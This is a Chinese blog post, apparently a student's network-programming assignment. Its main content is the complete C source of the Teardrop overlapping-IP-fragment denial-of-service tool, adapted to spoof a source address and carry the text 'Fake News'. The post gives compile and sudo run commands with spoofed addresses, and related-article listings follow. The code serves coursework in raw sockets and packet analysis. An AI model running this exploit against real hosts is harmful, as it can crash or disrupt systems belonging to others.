Socket编程实战

最新推荐文章于 2021-02-16 08:51:21 发布
最新推荐文章于 2021-02-16 08:51:21 发布
阅读量107 收藏
点赞数
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/VIANGL/article/details/110709102
版权

Socket编程实战

作业目的

  1. 以“金庸梦“游戏的客户端连接服务器、断开服务器为例，用wireshark抓包分析TCP协议的三次握手连接、四次握手断开，与计算机网络原理进行验证；用Fiddler抓包，分析验证一个HTTPS网站的TCP连接过程。

  2. 完成“网络编程技术”参考书上 “2.11 原始套接字编程”中的Teardrop代码编程，伪造一个虚假地址的IP包，包的内容填入Fake News。发送此包。并用wireshark抓包进行验证。

  3. 完成“网络编程技术”参考书上 “2.12 SOCKET应用实例”中的两个编程实例，并在ubuntu与树莓派之间进行验证。如果IPv6无法通过，可只完成IPv4的协议代码。

  4. 尽你所学（采用html、或CSS、或Javascript等）完成一个静态网页，比如制作一个简单的个人介绍网页，至少包含一张图片、一个二级网页跳转链接和一个文件下载链接；将制作的网页资料上传至Ubuntu系统，用ngnix完成一个简单web网站。

  5. 学习“网络编程技术”参考书上“4.8.2 HTTP 客户端编程方法”，用C#完成一个简易图形界面的基于HTTP协议的浏览器客户端软件。

  6. 学习LibCurl库，编程练习：

1）基本的http GET/POST操作；

2）获取html网页、网页下载保存；

3）文件的断点续传；

参考网址：https://www.cnblogs.com/moodlxs/archive/2012/10/15/2724318.html

抓包分析

Teardrop代码编程

在linux系统中，新建文本文件main.c，并编写代码：

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <netdb.h>
#include <netinet/in.h>
#include <netinet/udp.h>
#include <arpa/inet.h>
#include <sys/types.h>
#include <sys/time.h>
#include <sys/socket.h>
#include <errno.h>

#ifdef STRANGE_BSD_BYTE_ORDERING_THING
/* OpenBSD < 2.1, all FreeBSD and netBSD, BSDi < 3.0 */
#define FIX(n)  (n)
#else  
/* OpenBSD 2.1, all Linux */
#define FIX(n)  htons(n)
#endif  /* STRANGE_BSD_BYTE_ORDERING_THING */

#define IP_MF 0x2000  /* More IP fragment en route */
#define IPH 0x14    /* IP header size */
#define UDPH 0x8     /* UDP header size */
#define PADDING  0x1c    /* datagram frame padding for first packet */
#define MAGIC  0x3     /* Magic Fragment Constant (tm).  Should be 2 or 3 */
#define COUNT 0x1      /* Linux dies with 1, NT is more stalwart and can
                        * withstand maybe 5 or 10 sometimes...  Experiment.*/
                    

void usage(u_char *);
u_long name_resolve(u_char *);
void send_frags(int, u_long, u_long, u_short, u_short);


int main(int argc, char **argv)
{
    int one = 1, count = 0, i, rip_sock;
    // 定义源地址和目的地址
    u_long src_ip = 0, dst_ip = 0;
    // 定义源端口和目的端口
    u_short src_prt = 0, dst_prt = 0;
    // 定义一个32位的IPv4地址
    struct in_addr addr;
    printf("teardrop route|daemon9\n\n");
    //创建原始套接字
    if((rip_sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)
    {
        fprintf(stderr, "raw socket");
        exit(1);
    }
    //设置套接字选项IP_HDRINCL
    if (setsockopt(rip_sock, IPPROTO_IP, IP_HDRINCL,
    (char *)&one, sizeof(one))< 0)
    {
        fprintf(stderr, "IP_HDRINCL");
        exit(1);
    }
    if (argc < 3)
        usage(argv[0]);
    // 设置源IP 和 目的IP
    if(!(src_ip=name_resolve(argv[1]))||!(dst_ip = name_resolve(argv[2])))
    {
        fprintf(stderr, "What the hell kind of IP address is that?\n");
        exit(1);
    }
    while ((i = getopt(argc, argv, "s:t:n:")) != EOF)
    {
        switch (i)
        {
            case 's': // source port (should be emphemeral)
            src_prt = (u_short)atoi(optarg);
            break;
            case 't': // dest port (DNS, anyone?)
            dst_prt = (u_short)atoi(optarg);
            break;
            case 'n': // number to send
            count = atoi(optarg);
            break;
            default :
            usage(argv[0]);
            break; // NOTREACHED
        }
    }
    srandom((unsigned)(utimes("0",(time_t)0)));
    if (!src_prt) src_prt = (random() % 0xffff);
    if (!dst_prt) dst_prt = (random() % 0xffff);
    if (!count)
    count = COUNT;
    printf("Death on flaxen wings:\n");
    addr.s_addr = src_ip;
    printf("From: %15s.%5d\n", inet_ntoa(addr), src_prt);
    addr.s_addr = dst_ip;
    printf(" To: %15s.%5d\n", inet_ntoa(addr), dst_prt);
    printf(" Amt: %5d\n", count);
    printf("[\n ");
    for (i = 0; i < count; i++)
    {
        send_frags(rip_sock, src_ip, dst_ip, src_prt, dst_prt);
        // printf("b00m ");
        usleep(500);
    }
    printf("]\n");
    return (0);
}


// 设置 IP 包的内容
void send_frags(int sock, u_long src_ip, u_long dst_ip,u_short src_prt,u_short dst_prt)
{
    u_char *packet = NULL, *p_ptr = NULL, *flag = NULL; // packet pointers
    u_char byte; // a byte
    // 套接字地址结构
    struct sockaddr_in sin; /* socket protocol structure */
    sin.sin_family = AF_INET;
    sin.sin_port = src_prt;
    sin.sin_addr.s_addr = dst_ip;
    packet = (u_char *)malloc(IPH + UDPH + PADDING);
    p_ptr = packet;
    flag = packet;
    bzero((u_char *)p_ptr, IPH + UDPH + PADDING);
    // IP version and header length
    byte = 0x45;
    memcpy(p_ptr, &byte, sizeof(u_char));
    p_ptr += 2; // IP TOS (skipped)
    // total length
    *((u_short *)p_ptr) = FIX(IPH + UDPH + PADDING);
    p_ptr += 2;
    *((u_short *)p_ptr) = htons(242); // IP id
    p_ptr += 2;
    //IP frag flags and offset
    *((u_short *)p_ptr) |= FIX(IP_MF);
    p_ptr += 2;
    *((u_short *)p_ptr) = 0x40; // IP TTL
    byte = IPPROTO_UDP;
    memcpy(p_ptr + 1, &byte, sizeof(u_char));
    // IP checksum filled in by kernel
    p_ptr += 4;
    // IP source address
    *((u_long *)p_ptr) = src_ip;
    p_ptr += 4;
    // IP destination address
    *((u_long *)p_ptr) = dst_ip;
    p_ptr += 4;
    *((u_short *)p_ptr) = htons(src_prt); // UDP source port
    p_ptr += 2;
    *((u_short *)p_ptr) = htons(dst_prt); // UDP destination port
    p_ptr += 2;
    *((u_short *)p_ptr) = htons(PADDING); // UDP total length
    p_ptr += 4;
    
    // 发送数据：Fake News
    *((u_short *)p_ptr) = 0x46;
    p_ptr++;
    *((u_short *)p_ptr) = 0x61;
    p_ptr++;
    *((u_short *)p_ptr) = 0x6B;
    p_ptr++;
    *((u_short *)p_ptr) = 0x65;
    p_ptr++;
    *((u_short *)p_ptr) = 0x20;
    p_ptr++;
    *((u_short *)p_ptr) = 0x4E;
    p_ptr++;
    *((u_short *)p_ptr) = 0x65;
    p_ptr++;
    *((u_short *)p_ptr) = 0x77;
    p_ptr++;
    *((u_short *)p_ptr) = 0x73;

    int i=1;
    while(i <= 56)
    {
	printf("%x\t",*flag);
	flag++;
        if(0 == i%8)
	    printf("\n");
        i++;
    }

    if (sendto(sock, packet, IPH + UDPH + PADDING, 0,
    (struct sockaddr *)&sin,sizeof(struct sockaddr)) == -1)
    {
        fprintf(stderr, "\nsendto");
        free(packet);
        exit(1);
    }
    // IP total length is 2 bytes into the header
    p_ptr = &packet[2];
    *((u_short *)p_ptr) = FIX(IPH + MAGIC + 1);
    // IP offset is 6 bytes into the header
    p_ptr += 4;
    *((u_short *)p_ptr) = FIX(MAGIC);
    if (sendto(sock, packet, IPH+MAGIC+1, 0,
    (struct sockaddr *)&sin,sizeof(struct sockaddr)) == -1)
    {
        fprintf(stderr, "\nsendto");
        free(packet);
        exit(1);
    }
    free(packet);
}


// 获取主机信息
u_long name_resolve(u_char *host_name)
{
    struct in_addr addr;
    struct hostent *host_ent;
    if ((addr.s_addr = inet_addr(host_name)) == -1)
    {
        if (!(host_ent = gethostbyname(host_name))) return (0);
            bcopy(host_ent->h_addr, (char *)&addr.s_addr, host_ent->h_length);
    }
    return (addr.s_addr);
}


void usage(u_char *name)
{
    fprintf(stderr, "%s src_ip dst_ip [ -s src_prt ] [ -t dst_prt ] [ -n how_many ]\n",name);
    exit(0);
}

gcc main.c -o main
sudo ./main 100.100.100.100 200.200.200.200

之后通过wireshark抓包：

SOCKET应用实例：

VIANGL
关注
  • 0
    点赞
  • 踩
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
网络编程作业（winsocket实现聊天程序）
05-27
研究生网络编程作业，所有的结构与代码均由自己实现，适合用于上交老师布置的聊天程序编写作业
基于Socket的网络通信大作业 含可运行C代码
07-01
2016年做的TCP/IP大作业，包含摘要、代码、参考书籍等所有必要元素
socket网络编程大作业
12-21
这是有关用户与服务器之间的传输，里面含有tcp协议的，对网络应用有很多的帮助
JAVA Socket编程 课堂作业
weixin_33720956的博客
03-31 89
编写一个Client/Server应用，用于维护一个电话号码本，电话号码本保存在Server端，Client端可以发送两种请求，保存电话号码，其命令格式为：PUT + 一个空格 + 姓名 + 一个空格 + 电话号码；查询电话号码命令，其格式为：GET + 一个空格 + 姓名，姓名和电话号码内都不能有空格。服务器端在接收到客户端的请求后，根据请求完成相应的工作，如果是PUT请求，服务器将把姓名...
WinSocket简单编程实验
Jpday的专栏
07-04 1768
转载：http://www.cnblogs.com/tornadomeet/archive/2012/04/11/2442140.html   这一节是计算机网络作业，windows socket编程，老师电脑上开一个服务器程序，公开ip地址和端口号，我们同学自己编写一个客户端，能与老师的服务器建立联系，两者能收发即可。这样的代码网上很多，而是就采用了孙鑫VC++第14讲的代码，下面是添加的一
java socket编程实战_Java Socket编程之TCP编程
weixin_30046717的博客
02-16 67
Java Socket编程之TCP编程TCP协议是面向连接的、可靠的、有序的、以字节流的方式发送数据，通过三次握手方式建立连接，形成传输数据的通道，在连接中进行大量数据的传输，效率会稍低Java中基于TCP协议实现网络通信的类客户端的Socket类服务器端的ServerSocket类Socket通信的步骤① 创建ServerSocket和Socket② 打开连接到Socket的输入/输出流③ 按照...
socket编程实战
lyjccchong的博客
01-15 64
socket编程实战
java socket编程实战_java - Socket简单编程实践
weixin_39999116的博客
02-16 124
1、简介：1)SOCKET是应用程序和网络之间的一个接口。SOCKET创建设置好以后，应用程序可以：通过网络把数据发送到socket 。通过网络从socket接收数据。(通信的前提是应用程序知道服务端的ip及其正在监听的端口号，每台机器有65,536 个端口)2)SOCKET有两种基本类型：SOCK_STREAM 即TCP • 可靠传递 • 保证顺序 • 基于连接 • 双向SOCK_DGRAM •...
python中socket编程_Python中基础的socket编程实战攻略
weixin_35736086的博客
02-03 403
在网络通信中socket几乎无处不在，它可以看成是应用层与TCP/IP协议簇通信的中间软件抽象层，是两个应用程序彼此进行通信的接口，并且把复杂的TCP/IP协议细节隐藏在接口之后。Python提供了socket模块，可以非常方便的进行socket编程。创建一个server socket使用socket方法创建一个新的socket，通常提供两个参数，第一个参数是address family, 第二个...
实战LinuxSocket编程
07-23
资源名称：实战Linux Socket编程资源截图： 资源太大，传百度网盘了，链接在附件中，有需要的同学自取。
windows socket编程实战.doc
07-06
windows socket编程实战
Python中基础的socket编程实战攻略
12-23
Python提供了socket模块，可以非常方便的进行socket编程。 创建一个server socket 使用socket方法创建一个新的socket，通常提供两个参数，第一个参数是address family, 第二个是socket type。 #create an INET, ...
网络编程作业及答案
qq_42591018的博客
04-05 2987
网络编程作业 一、填空题 用来标志网络中的一个通信实体的地址。通信实体可以是计算机，路由器等。 2.TCP的全称是__________________________。 3.UDP的全称是________________________________________。 4.统一资源定位符URL是指向互联网“资源”的指针,由4部分组成：协议、存放资源的主机域名、__________和资源路径和文...
计算机网络套接字编程作业一：Web服务器
王大凤的博客
06-08 6523
题目要求 You will develop a web server that handles one HTTP request at a time. Your web server should accept and parse the HTTP request, get the requested file from the server’s file system, create an H...
前18大旋转修整器企业占据全球87%的市场份额.docx
05-06
前18大旋转修整器企业占据全球87%的市场份额
Planet-SkySat-Imagery-Product-Specification-Jan2020.pdf
05-06
SKYSAT IMAGERY PRODUCT SPECIFICATION PLANET.COM VIDEO Full motion videos are collected between 30 and 120 seconds by a single camera from any of the active SkySats. Videos are collected using only the Panchromatic half of the camera, hence all videos are PAN only. Videos are packaged and delivered with a video mpeg-4 file, plus all image frames with accompanying video metadata and a frame index file (reference Product Types below)
Screenshot_20240506_133458_com.netease.yhtj.vivo.jpg
最新发布
05-06
Screenshot_20240506_133458_com.netease.yhtj.vivo.jpg
网络编程实战
05-24
网络编程是指使用计算机网络进行通信的过程，其实现需要涉及到一系列技术和知识，如网络协议、Socket编程、异步编程等。 以下是一个简单的网络编程实战示例，在Python中使用Socket实现一个简单的TCP服务器和客户端，实现客户端向服务器发送消息，服务器接收并回复消息。 服务器端代码： ```python import socket # 创建TCP套接字 server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # 绑定地址和端口 server_socket.bind(('127.0.0.1', 8888)) # 监听端口 server_socket.listen(5) print('Server is listening...') while True: # 等待客户端连接 client_socket, client_address = server_socket.accept() print('Client %s:%s connected.' % client_address) # 接收客户端消息 data = client_socket.recv(1024) print('Received data from client: %s' % data.decode()) # 回复客户端消息 client_socket.send('Hello, client!'.encode()) # 关闭客户端连接 client_socket.close() ``` 客户端代码： ```python import socket # 创建TCP套接字 client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # 连接服务器 client_socket.connect(('127.0.0.1', 8888)) # 发送消息到服务器 client_socket.send('Hello, server!'.encode()) # 接收服务器回复 data = client_socket.recv(1024) print('Received data from server: %s' % data.decode()) # 关闭连接 client_socket.close() ``` 需要注意的是，该示例代码只是一个简单的示例，实际应用中还需要考虑网络安全、数据传输的可靠性等问题，需要进行更加严谨的设计和实现。

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值